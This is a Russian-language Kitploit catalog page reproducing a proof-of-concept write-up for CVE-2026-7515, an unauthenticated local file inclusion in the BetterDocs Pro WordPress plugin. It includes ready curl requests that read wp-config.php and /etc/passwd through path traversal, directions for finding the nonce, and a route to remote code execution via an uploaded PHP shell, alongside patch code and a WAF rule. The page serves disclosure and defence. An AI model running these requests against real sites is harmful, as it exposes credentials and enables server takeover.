Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — Неаутентифицированное включение локального файла | Kitploit
Инструменты/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Неаутентифицированное включение локального файла

Репозиторий
1113 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - Неаутентифицированное локальное включение файлов

Обзор

ПолеЗначение
CVE IDCVE-2026-7515
Оценка CVSS9.8 (Критическая)
CVSS VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ЗатронутыBetterDocs Pro <= 3.8.0
Исправлено3.8.1
ИсследовательNguyen Ngoc Duc (duc193)
Опубликовано18 июня 2026
CWECWE-98: Некорректный контроль имени файла в операторах include/require

Описание уязвимости

Плагин BetterDocs Pro для WordPress уязвим к локальному включению файлов в версиях до 3.8.0 включительно через параметр doc_style. Это позволяет неаутентифицированным атакующим включать и выполнять произвольные PHP-файлы на сервере.

Анализ потока данных: Источник → Сток

Источник (пользовательский ввод)

Файл: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Строка: 141

// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Проблема: Ввод из $_POST['doc_style'], контролируемый пользователем, напрямую используется без какой-либо проверки.

Сток (опасная функция)

Файл: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Строка: 195

betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Проблема: Переменная $doc_style (контролируемая пользователем) напрямую подставляется в путь к файлу, передаваемый в views->get(), который включает этот файл.

Поток данных

HTTP POST запрос
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
ОТСУТСТВИЕ ПРОВЕРКИ (уязвимая версия 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Включение файла через include() или require()
        ↓
Произвольное выполнение PHP-кода / чтение файлов

Различия: уязвимая и исправленная версии

Уязвимая версия 3.8.0

// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Исправленная версия 3.8.1

// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Ключевые различия

АспектУязвимая (3.8.0)Исправленная (3.8.1)
ПроверкаОтсутствуетБелый список через in_array()
Допустимые значенияЛюбая строкаТолько doc-grid, doc-list, doc-list-2
Проверка типаНетСтрогое сравнение (===)

Затронутые AJAX-эндпоинты

Оба эндпоинта регистрируются с хуками nopriv, то есть доступны неаутентифицированным пользователям:

// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Эндпоинты:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Доказательство концепции

Предварительные условия

  • Действительный encyclopedia_nonce (находится в исходном коде страниц с блоком BetterDocs Encyclopedia)

Ручная эксплуатация

# Шаг 1: Чтение wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Шаг 2: Чтение /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Поиск nonce

encyclopedia_nonce раскрывается в JavaScript на страницах, где отображается блок BetterDocs Encyclopedia:

// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- Это то, что вам нужно
};

Путь от LFI к RCE

  1. Прочитать wp-config.php - Извлечь учетные данные базы данных
  2. Загрузить PHP-шелл - Через загрузку медиафайлов WordPress или редактор тем
  3. Включить вредоносный файл - Через уязвимость LFI
  4. Выполнить код - Получить удаленное выполнение кода

Воздействие

Тип воздействияСерьезностьОписание
КонфиденциальностьВЫСОКАЯЧтение произвольных файлов (wp-config.php, /etc/passwd и т.д.)
ЦелостностьВЫСОКАЯИзменение или удаление файлов
ДоступностьВЫСОКАЯОтказ в обслуживании
Вектор доступаСетьЭксплуатируется удаленно
ПривилегииНетАутентификация не требуется
Взаимодействие пользователяНетНе требуется

Устранение

Основное исправление

Обновитесь до версии BetterDocs Pro 3.8.1 или новее

Ручное исправление (если обновление невозможно)

Примените следующий патч к includes/Core/Encyclopedia.php:

// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Примените то же исправление к строке 236.

Правила WAF (временное смягчение)

Добавьте правило для блокировки обхода пути в параметре doc_style:

# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'Попытка LFI заблокирована'"

Ссылки

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

Проанализированные файлы

Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (УЯЗВИМО)
- includes/Core/Scripts.php         (Содержит генерацию nonce)
- includes/Utils/Views.php          (Логика включения файлов)
Скачать инструмент